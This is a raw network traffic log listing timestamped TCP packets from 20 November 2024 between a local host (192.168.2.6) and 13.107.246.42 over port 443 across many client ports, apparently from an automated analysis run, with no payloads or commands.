Nov 20, 2024 08:12:57.855931044 CET	50016	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.856077909 CET	50016	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:57.856091022 CET	443	50016	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.471443892 CET	443	50013	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.472079039 CET	50013	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.472095966 CET	443	50013	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.472963095 CET	50013	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.472970009 CET	443	50013	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.485188961 CET	443	50012	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.486711025 CET	50012	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.486723900 CET	443	50012	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.487416983 CET	50012	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.487421989 CET	443	50012	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.510328054 CET	443	50014	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.511291027 CET	50014	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.511307955 CET	443	50014	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.512007952 CET	50014	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.512013912 CET	443	50014	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.514343977 CET	443	50015	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.525813103 CET	443	50016	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.532676935 CET	50015	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.532701969 CET	443	50015	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.533416033 CET	50015	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.533421993 CET	443	50015	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.545358896 CET	50016	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.545389891 CET	443	50016	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.549731016 CET	50016	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.549736977 CET	443	50016	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.572108030 CET	443	50013	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.572170019 CET	443	50013	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.572336912 CET	443	50013	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.572447062 CET	50013	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.587163925 CET	443	50012	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.587337017 CET	443	50012	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.587423086 CET	50012	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.612663031 CET	443	50014	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.612716913 CET	443	50014	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.613051891 CET	50014	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.613051891 CET	443	50014	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.613095045 CET	50014	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.632317066 CET	443	50015	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.632334948 CET	443	50015	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.632486105 CET	50015	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.632522106 CET	443	50015	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.632714987 CET	443	50015	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.633163929 CET	50015	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.652159929 CET	443	50016	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.652205944 CET	443	50016	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.652277946 CET	50016	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.652292967 CET	443	50016	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.653079987 CET	443	50016	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.656471014 CET	50016	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.768142939 CET	50013	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.768142939 CET	50013	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.768165112 CET	443	50013	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.768177032 CET	443	50013	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.768233061 CET	50016	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.768233061 CET	50016	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.768250942 CET	443	50016	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.768260956 CET	443	50016	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.857569933 CET	50012	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.857569933 CET	50012	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.857587099 CET	443	50012	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.857595921 CET	443	50012	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.857928991 CET	50014	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.857933044 CET	443	50014	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.857944965 CET	50014	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.857949972 CET	443	50014	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.859307051 CET	50015	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.859339952 CET	443	50015	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.859355927 CET	50015	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.859361887 CET	443	50015	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.870281935 CET	50025	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.870311022 CET	443	50025	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.870407104 CET	50025	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.871231079 CET	50025	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.871244907 CET	443	50025	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.878375053 CET	50026	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.878401995 CET	443	50026	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.878490925 CET	50026	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.879003048 CET	50026	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.879012108 CET	443	50026	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.879875898 CET	50027	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.879903078 CET	443	50027	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.879959106 CET	50027	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.880084991 CET	50027	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.880096912 CET	443	50027	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.880538940 CET	50028	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.880573034 CET	443	50028	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.880639076 CET	50028	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.891695023 CET	50029	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.891721964 CET	443	50029	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.891836882 CET	50028	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.891845942 CET	443	50028	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:58.891885996 CET	50029	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.891961098 CET	50029	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:58.891977072 CET	443	50029	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.523752928 CET	443	50027	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.525582075 CET	50027	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.525609016 CET	443	50027	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.526067019 CET	50027	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.526074886 CET	443	50027	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.541235924 CET	443	50025	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.541899920 CET	50025	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.541919947 CET	443	50025	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.542182922 CET	443	50028	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.542293072 CET	50025	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.542299032 CET	443	50025	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.542634010 CET	50028	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.542656898 CET	443	50028	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.543281078 CET	50028	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.543287039 CET	443	50028	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.543466091 CET	443	50029	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.543850899 CET	50029	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.543863058 CET	443	50029	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.544270992 CET	50029	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.544282913 CET	443	50029	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.564713955 CET	443	50026	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.566265106 CET	50026	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.566277027 CET	443	50026	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.566827059 CET	50026	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.566829920 CET	443	50026	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.625333071 CET	443	50027	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.625797033 CET	443	50027	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.625861883 CET	50027	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.626027107 CET	50027	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.626051903 CET	443	50027	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.626061916 CET	50027	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.626066923 CET	443	50027	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.629621029 CET	50038	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.629664898 CET	443	50038	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.629806042 CET	50038	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.630006075 CET	50038	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.630018950 CET	443	50038	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.647419930 CET	443	50029	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.647445917 CET	443	50029	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.647542000 CET	50029	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.647551060 CET	443	50029	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.647615910 CET	443	50029	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.647656918 CET	50029	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.647711992 CET	50029	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.647723913 CET	443	50029	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.647778988 CET	50029	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.647785902 CET	443	50029	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.648262978 CET	443	50028	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.648348093 CET	443	50028	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.648437023 CET	50028	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.650034904 CET	50028	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.650053024 CET	443	50028	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.650063992 CET	50028	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.650069952 CET	443	50028	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.650505066 CET	443	50025	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.650659084 CET	443	50025	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.650744915 CET	50025	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.652451992 CET	50025	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.652472973 CET	443	50025	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.652482986 CET	50025	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.652488947 CET	443	50025	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.654910088 CET	50039	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.654943943 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.655093908 CET	50039	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.655710936 CET	50039	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.655721903 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.656295061 CET	50040	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.656339884 CET	443	50040	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.656543970 CET	50040	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.656692982 CET	50040	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.656704903 CET	443	50040	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.657265902 CET	50041	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.657310009 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.657437086 CET	50041	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.657571077 CET	50041	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.657583952 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.668873072 CET	443	50026	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.669023991 CET	443	50026	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.669081926 CET	50026	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.669198036 CET	50026	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.669207096 CET	443	50026	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.669240952 CET	50026	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.669246912 CET	443	50026	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.671722889 CET	50042	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.671768904 CET	443	50042	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:59.671883106 CET	50042	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.671997070 CET	50042	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:59.672009945 CET	443	50042	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.269450903 CET	443	50038	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.271300077 CET	50038	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.271331072 CET	443	50038	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.271884918 CET	50038	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.271897078 CET	443	50038	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.296801090 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.297398090 CET	50039	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.297421932 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.297955036 CET	50039	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.297961950 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.308140039 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.308629990 CET	50041	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.308660030 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.309215069 CET	50041	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.309221029 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.323800087 CET	443	50040	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.324601889 CET	50040	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.324644089 CET	443	50040	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.325330973 CET	50040	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.325336933 CET	443	50040	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.326998949 CET	443	50042	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.327390909 CET	50042	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.327406883 CET	443	50042	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.328147888 CET	50042	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.328152895 CET	443	50042	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.400681019 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.400764942 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.400816917 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.400832891 CET	50039	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.400846958 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.400895119 CET	50039	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.413098097 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.413127899 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.413161039 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.413196087 CET	50041	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.413213015 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.413233995 CET	50041	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.413256884 CET	50041	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.428148985 CET	443	50042	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.428190947 CET	443	50042	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.428286076 CET	50042	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.428318977 CET	443	50042	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.428451061 CET	50042	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.428486109 CET	443	50040	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.428519964 CET	443	50040	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.428545952 CET	443	50042	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.428597927 CET	50040	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.428606033 CET	443	50040	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.428611040 CET	443	50042	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.428725958 CET	443	50040	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.428771019 CET	50042	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.429039955 CET	50040	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.431523085 CET	50042	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.431535959 CET	443	50042	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.431548119 CET	50042	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.431552887 CET	443	50042	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.432718039 CET	50040	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.432722092 CET	443	50040	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.435780048 CET	50046	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.435815096 CET	443	50046	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.435985088 CET	50046	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.437472105 CET	50047	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.437504053 CET	443	50047	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.437628984 CET	50047	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.437787056 CET	50046	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.437808990 CET	443	50046	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.437944889 CET	50047	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.437957048 CET	443	50047	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.485008955 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.485110044 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.485115051 CET	50039	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.485208035 CET	50039	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.485701084 CET	50039	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.485718966 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.485729933 CET	50039	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.485735893 CET	443	50039	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.500658035 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.500739098 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.500746012 CET	50041	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.500761032 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.500783920 CET	50041	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.500806093 CET	50041	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.503810883 CET	50041	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.503839970 CET	443	50041	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.513453960 CET	50048	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.513504028 CET	443	50048	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.513581991 CET	50048	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.515420914 CET	50049	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.515464067 CET	443	50049	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.515609026 CET	50049	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.515955925 CET	50048	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.515973091 CET	443	50048	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.516525984 CET	50049	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.516545057 CET	443	50049	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.557708979 CET	443	50038	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.557770014 CET	443	50038	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.557928085 CET	443	50038	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.557955027 CET	50038	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.558494091 CET	50038	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.563263893 CET	50038	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.563282967 CET	443	50038	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.563296080 CET	50038	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.563301086 CET	443	50038	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.571197033 CET	50050	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.571253061 CET	443	50050	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:00.571585894 CET	50050	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.573220015 CET	50050	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:00.573237896 CET	443	50050	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.070508957 CET	443	50047	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.089705944 CET	50047	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.089735985 CET	443	50047	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.090399981 CET	50047	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.090414047 CET	443	50047	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.122883081 CET	443	50046	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.166456938 CET	50046	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.166498899 CET	443	50046	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.166892052 CET	50046	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.166899920 CET	443	50046	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.167910099 CET	443	50048	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.168287992 CET	443	50049	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.168526888 CET	50048	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.168544054 CET	443	50048	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.168922901 CET	50048	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.168927908 CET	443	50048	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.169989109 CET	50049	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.170015097 CET	443	50049	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.170358896 CET	50049	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.170365095 CET	443	50049	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.195458889 CET	443	50047	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.196063042 CET	443	50047	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.196150064 CET	50047	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.239708900 CET	443	50050	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.268709898 CET	443	50046	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.268767118 CET	443	50046	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.268946886 CET	50046	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.268970966 CET	443	50046	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.268995047 CET	443	50046	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.269058943 CET	50046	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.270821095 CET	443	50049	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.270920038 CET	443	50049	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.271150112 CET	50049	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.273624897 CET	443	50048	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.273679018 CET	443	50048	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.277098894 CET	50048	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.315681934 CET	50047	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.315715075 CET	443	50047	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.315732956 CET	50047	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.315740108 CET	443	50047	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.316693068 CET	50048	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.316693068 CET	50048	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.316709042 CET	443	50048	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.316718102 CET	443	50048	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.325077057 CET	50050	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.452634096 CET	50050	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.452670097 CET	443	50050	13.107.246.42	192.168.2.6
